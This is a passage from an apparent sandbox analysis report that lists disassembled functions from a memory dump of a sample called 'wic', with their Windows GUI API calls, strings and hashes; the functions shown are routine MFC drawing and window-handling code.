Instruction Fuzzy Hash: 05910EF1A00129DFCF249F18CD91AA9B7B5FB49314F4441E9EA09E7241DB309E85CF99

Function 008FE527 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32(?), ref: 008FE54E
_strlen.LIBCMT ref: 008FE593
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000020), ref: 008FE5AF
GlobalUnlock.KERNEL32(?), ref: 008FE67E

Strings

System, xrefs: 008FE53A

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Global$ByteCharLockMultiUnlockWide_strlen
String ID: System
API String ID: 3423807218-3470857405
Opcode ID: 99b054e3be766e825ea12abae52e8916a0131c381b7862aabf3203d861fbb083
Instruction ID: 522b8a380aa215bb1d16a0aa8bdded27cb1179e4061c961895b34fe79e40e516
Opcode Fuzzy Hash: 99b054e3be766e825ea12abae52e8916a0131c381b7862aabf3203d861fbb083
Instruction Fuzzy Hash: ED519D71A0021C9BCB10DFB8C885ABEBBB8FF54714F24812AE515EB294E7749945CB50

Function 0086A849 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0086A850
DrawThemeBackground.UXTHEME(00000000,?,00000001,00000000,?,00000000,?,?,?,?,?,?,?,0000001C), ref: 0086A884
InflateRect.USER32(?,000000FD,000000FD), ref: 0086A8A6
DrawThemeBackground.UXTHEME(00000000,?,00000003,00000000,?,00000000,?,?,?,?,?,?,?,?,0000001C), ref: 0086A8DE

Strings

%d%%, xrefs: 0086A90B

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: BackgroundDrawTheme$H_prolog3_InflateRect
String ID: %d%%
API String ID: 1553386484-1518462796
Opcode ID: 9df1f36c3b89604cbb6bb839caa729495c0463ad22587c91c9710d550890aa8d
Instruction ID: 014e7a1539b928e5c958565d5e8c6e3bf1ec3751e96fb47bd7e302ad00287d63
Opcode Fuzzy Hash: 9df1f36c3b89604cbb6bb839caa729495c0463ad22587c91c9710d550890aa8d
Instruction Fuzzy Hash: 5A410471510209ABDB04DFA4CD89BAD7BB9FF48314F154468E602BB2A1DB70ED45CFA1

Function 0089A647 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0089A64E

Strings

, xrefs: 0089A761

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-3916222277
Opcode ID: 909ab438324b3cab69e6a2c14251e57e192ffbf37b4657dc348dc635de676ca7
Instruction ID: a5c93782702057afcdac18bfd30023a4df57317508a2f27796d90d971e04f0b8
Opcode Fuzzy Hash: 909ab438324b3cab69e6a2c14251e57e192ffbf37b4657dc348dc635de676ca7
Instruction Fuzzy Hash: 5C319E7190061AEFCF29AFA4C885ABEB7B4FF04304F088529E855E7241DB349E50CBD2

Function 0087EC12 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

__snprintf_s.LIBCMT ref: 0087EC5F

Part of subcall function 00884F20: __vsnwprintf_s_l.LEGACY_STDIO_DEFINITIONS ref: 00884F35

__snprintf_s.LIBCMT ref: 0087EC92
GetClassInfoA.USER32(?,0000007C,?), ref: 0087ECC2

Strings

Afx:%p:%x, xrefs: 0087EC55
Afx:%p:%x:%p:%p:%p, xrefs: 0087EC88

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: __snprintf_s$ClassInfo__vsnwprintf_s_l
String ID: Afx:%p:%x$Afx:%p:%x:%p:%p:%p
API String ID: 2864017905-2801496823
Opcode ID: 4458c23f5906c11e4ccfec291ae3fea680ddead120d1ca49e4a6656bcdbce921
Instruction ID: c3a2caaaf9bdc9298d9f3405be693e083f0531771d4cc6ef4372d382340a237a
Opcode Fuzzy Hash: 4458c23f5906c11e4ccfec291ae3fea680ddead120d1ca49e4a6656bcdbce921
Instruction Fuzzy Hash: 61318D76D00219EFDF11EFA8D841BAE7BB0FF49325F008095F908AB251D734AA008BA1

Function 0092C149 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 84COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0092C150

Part of subcall function 0093AC2B: __EH_prolog3.LIBCMT ref: 0093AC32

Part of subcall function 008851D1: GetDlgCtrlID.USER32(?), ref: 008851DC

Strings

BasePanes, xrefs: 0092C160
%TsBasePane-%d%x, xrefs: 0092C1BA
IsVisible, xrefs: 0092C209
%TsBasePane-%d, xrefs: 0092C1A3

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: H_prolog3$Ctrl
String ID: %TsBasePane-%d$%TsBasePane-%d%x$BasePanes$IsVisible
API String ID: 3879667756-2169875744
Opcode ID: 9674b021595f648ecf4091e136acca3e3c5c87ea0f0a63ef030e328edb550d02
Instruction ID: 0a8c40862d3083d8f706e71d71eccfc35b9f9ac4639018b596f1e7b16f63f76a
Opcode Fuzzy Hash: 9674b021595f648ecf4091e136acca3e3c5c87ea0f0a63ef030e328edb550d02
Instruction Fuzzy Hash: F6318E71900209ABCF00EFA8C9829FEBBB5BF48314F140569F925A7292DB315A45CBA1

Function 0092C91E Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 84COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0092C925

Part of subcall function 0093AC2B: __EH_prolog3.LIBCMT ref: 0093AC32

Part of subcall function 008851D1: GetDlgCtrlID.USER32(?), ref: 008851DC

Strings

BasePanes, xrefs: 0092C932
%TsBasePane-%d%x, xrefs: 0092C98C
IsVisible, xrefs: 0092C9E3
%TsBasePane-%d, xrefs: 0092C975

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: H_prolog3$Ctrl
String ID: %TsBasePane-%d$%TsBasePane-%d%x$BasePanes$IsVisible
API String ID: 3879667756-2169875744
Opcode ID: 2bf0a81b93a5204753391b44eb40e69c4af2e4d40444fafbc2ef1cba76ff9a53
Instruction ID: 198c1b92646e59f79bb1c2ca2c67f712f0ea32d1b29c8e8f78093557c5e4b557
Opcode Fuzzy Hash: 2bf0a81b93a5204753391b44eb40e69c4af2e4d40444fafbc2ef1cba76ff9a53
Instruction Fuzzy Hash: A531D135900218ABCF00EBB8CC559FEBB79FF88310F140568F526A7392CB305942CB51

Function 008AE4E0 Relevance: 7.8, APIs: 5, Instructions: 295COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 008AE546
GetParent.USER32(?), ref: 008AE56F
GetParent.USER32(?), ref: 008AE57E

Part of subcall function 00896628: SetParent.USER32(?,?), ref: 00896639

GetWindowRect.USER32(?,?), ref: 008AE640
GetClientRect.USER32(?,?), ref: 008AE6F2

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Parent$RectWindow$Client
String ID:
API String ID: 3043635113-0
Opcode ID: 5cb8ca7caeb6e7bdd0919fe7a425db5e7057d28021049fb0db621c191442447b
Instruction ID: f54585294b9290fd3804cde28eeffb13706c5051174f69eeb398c078c26cd996
Opcode Fuzzy Hash: 5cb8ca7caeb6e7bdd0919fe7a425db5e7057d28021049fb0db621c191442447b
Instruction Fuzzy Hash: 76A17A35B10264AFDB04AB24CC98A7D7BA9FF89710F0540B9E846EB391DF74AD418F81

Function 008EA7DB Relevance: 7.8, APIs: 5, Instructions: 289COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 008EA7E2
InflateRect.USER32(?,000000FB,00000000), ref: 008EA8DF
InflateRect.USER32(?,000000FC,00000000), ref: 008EA8EF
FillRect.USER32(?,?,?), ref: 008EA978
GetTextMetricsA.GDI32(?,?), ref: 008EAA44

Part of subcall function 0086B5D8: InflateRect.USER32(?,00000000,000000FD), ref: 0086B630

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$Inflate$FillH_prolog3_MetricsText
String ID:
API String ID: 2951402353-0
Opcode ID: aea24435f3f667689241f944096dcac3544839c3fdaaeca3c7ad1f394eaf856c
Instruction ID: f3a5cc792892f3e5a79483430f2401429fbda7a2563d6b4fe65e8311cc1c503c
Opcode Fuzzy Hash: aea24435f3f667689241f944096dcac3544839c3fdaaeca3c7ad1f394eaf856c
Instruction Fuzzy Hash: B3B1A071A00658DFCF18DF69C888BADBBB9FF49310F154169E816EB291CB30A945CF81

Function 00868B69 Relevance: 7.7, APIs: 5, Instructions: 244memoryCOMMON

Download Yara Rule

APIs

MapDialogRect.USER32(?,?), ref: 00868BD4
SysAllocStringLen.OLEAUT32(?,00000000), ref: 00868BFA
CLSIDFromString.OLE32(?,?,00000000), ref: 00868D07

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: String$AllocDialogFromRect
String ID:
API String ID: 3612679071-0
Opcode ID: 419828b6ca215662bbd892ca5241eb4e4b81a751dd77f8405656269e60f0518d
Instruction ID: f40a5902c579e70c072ef9cc60203e64acef79c6e167478a90ecf067730774c9
Opcode Fuzzy Hash: 419828b6ca215662bbd892ca5241eb4e4b81a751dd77f8405656269e60f0518d
Instruction Fuzzy Hash: 76A13675E00219DFDF14DFA8C984AADBBB5FF48314F154169E80AEB395EB30A941CB60

Function 008EE12A Relevance: 7.7, APIs: 5, Instructions: 225COMMON

Download Yara Rule

APIs

GetParent.USER32(08788356), ref: 008EE166
IsRectEmpty.USER32(?), ref: 008EE18B
FillRect.USER32(?,?,00000000), ref: 008EE252
FillRect.USER32(?,?,00000000), ref: 008EE288
InflateRect.USER32(?,00000000,000000FF), ref: 008EE2C5

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$Fill$EmptyInflateParent
String ID:
API String ID: 2418387936-0
Opcode ID: 80133c1b13fda0695730fcf485eeed3e6e3e2751234350c4e5d15f1a19901489
Instruction ID: 4929570f0d597510a9e646ce10a7dde8f332c7d60f99dc73ff14c29cdefa077f
Opcode Fuzzy Hash: 80133c1b13fda0695730fcf485eeed3e6e3e2751234350c4e5d15f1a19901489
Instruction Fuzzy Hash: CA71A272A0065AABCF01EFA9CC469BF77B9FF46314B044119FA11EB241DB75ED018BA1

Function 008C03ED Relevance: 7.7, APIs: 5, Instructions: 218COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 008C03F4
InflateRect.USER32(?,000000FF,00000000), ref: 008C0499
OffsetRect.USER32(?,00000000,00000001), ref: 008C0533
GetSysColor.USER32(0000000E), ref: 008C0546
InflateRect.USER32(?,000000FD,00000000), ref: 008C05ED

Part of subcall function 00899B27: __EH_prolog3.LIBCMT ref: 00899B2E

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$Inflate$ColorH_prolog3H_prolog3_Offset
String ID:
API String ID: 3491310817-0
Opcode ID: 33e80cab251889491cdfe5e120c28ba9138b05e5329d407377b4fb42df5498b9
Instruction ID: 5db5905ca7791f61d41aca09b66320a91f9abc3e6474b9ddd6e195e1c801147c
Opcode Fuzzy Hash: 33e80cab251889491cdfe5e120c28ba9138b05e5329d407377b4fb42df5498b9
Instruction Fuzzy Hash: 08714771A10629DBCF05CFA8C888BEEBBB5FF09310F150129E905BB285DB75A945CF90

Function 008D67FF Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 008D6806
IsWindow.USER32(00000000), ref: 008D6822
GetClientRect.USER32(00000000,00000000), ref: 008D6883

Part of subcall function 0089D38A: __EH_prolog3_GS.LIBCMT ref: 0089D394
Part of subcall function 0089D38A: GetClientRect.USER32(?,?), ref: 0089D3EF

Part of subcall function 008A816E: __EH_prolog3_GS.LIBCMT ref: 008A8178
Part of subcall function 008A816E: SendMessageA.USER32(00000000,0000040D,00000000,00000000), ref: 008A81A3

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: H_prolog3_$ClientRect$MessageSendWindow
String ID:
API String ID: 3487309127-0
Opcode ID: ea0ce965236495461bfc0ad3ca6221954e5060fd83418441b67ea310ebb5c566
Instruction ID: 2210d802eab10317947ddeb924d0bf0df920a4baf97825560a98d8980f8d5e28
Opcode Fuzzy Hash: ea0ce965236495461bfc0ad3ca6221954e5060fd83418441b67ea310ebb5c566
Instruction Fuzzy Hash: 01813571900219DFCF14DFA8C895AEDBBB5FF48300F15826AE805AB355EB34A945CF61

Function 0095201D Relevance: 7.7, APIs: 5, Instructions: 174COMMON

Download Yara Rule

APIs

Part of subcall function 008CE21F: GetCursorPos.USER32(00000000), ref: 008CE25F
Part of subcall function 008CE21F: OffsetRect.USER32(?,?,?), ref: 008CE280
Part of subcall function 008CE21F: RedrawWindow.USER32(?,00000000,00000000,00000105,?,00000000,?,?,?,?), ref: 008CE2C3

TrackMouseEvent.USER32 ref: 009520A1
InvalidateRect.USER32(00000000,?,00000001), ref: 00952118
InvalidateRect.USER32(00000000,?,00000001), ref: 00952191
UpdateWindow.USER32(00000000), ref: 009521BA
RedrawWindow.USER32(00000000,?,00000000,00000105), ref: 009521F7

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: RectWindow$InvalidateRedraw$CursorEventMouseOffsetTrackUpdate
String ID:
API String ID: 359670716-0
Opcode ID: 8009c9a82f1b00e33354b7fb682d54bee482aef81e5b1c7b2d65bc554342cb44
Instruction ID: 1746f2319fe457301a771d9daae39ce5655ffaa695622942972b6382cdd86e9f
Opcode Fuzzy Hash: 8009c9a82f1b00e33354b7fb682d54bee482aef81e5b1c7b2d65bc554342cb44
Instruction Fuzzy Hash: 34615C35600249ABCF02CF15C888BAE7BBAFF49711F194169EC196F251CB71AE45DF90

Function 008B692B Relevance: 7.7, APIs: 5, Instructions: 169windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 008B69DA
ShowWindow.USER32(?,00000004,?,?,00000000), ref: 008B6A1C
IsWindow.USER32(?), ref: 008B6A6F
IsWindowVisible.USER32(?), ref: 008B6A7A
ShowWindow.USER32(?,00000000,?,?,00000000), ref: 008B6AC7

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Window$Show$Visible
String ID:
API String ID: 2757229004-0
Opcode ID: a8a9cbde5621266f60f964a4154e2e9ee9afbc48882044b69e580060e511b7b8
Instruction ID: e1413a0d34e4ffe98ed348c70134d79e2f2352ab4e39760b09a8985d1e509d6c
Opcode Fuzzy Hash: a8a9cbde5621266f60f964a4154e2e9ee9afbc48882044b69e580060e511b7b8
Instruction Fuzzy Hash: 8E51D171A00626AFDF14EF68D855AEEBBB8FF44710F108129E515E7380EB74AE14CB91

Function 008A2224 Relevance: 7.6, APIs: 5, Instructions: 113COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(?,00007904), ref: 008A225C
LoadCursorW.USER32(?,00007905), ref: 008A228F
LoadCursorA.USER32(00000000,00007F86), ref: 008A22BA
CreatePen.GDI32(00000000,00000001,?), ref: 008A2332

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CursorLoad$Create
String ID:
API String ID: 1516763891-0
Opcode ID: a390d856feb70aa06f7eaec502e0cab5f8dfa015a0e4fdf467075145154ed1b0
Instruction ID: cf7537f30578b56e540d4297b206c53810e4d62564ef4fee35d0bde350c05e80
Opcode Fuzzy Hash: a390d856feb70aa06f7eaec502e0cab5f8dfa015a0e4fdf467075145154ed1b0
Instruction Fuzzy Hash: 2931A471500601ABEB25BBB98C89F7936A8FF95320F058475F549DB5A2EB3888419E22

Function 008A41BC Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

GetCursorPos.USER32(00000000), ref: 008A41E3
ScreenToClient.USER32(?,00000000), ref: 008A4211
ScreenToClient.USER32(?,?), ref: 008A427F
PtInRect.USER32(00000000,?,?), ref: 008A42B0
SetCursor.USER32(?), ref: 008A42E4

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
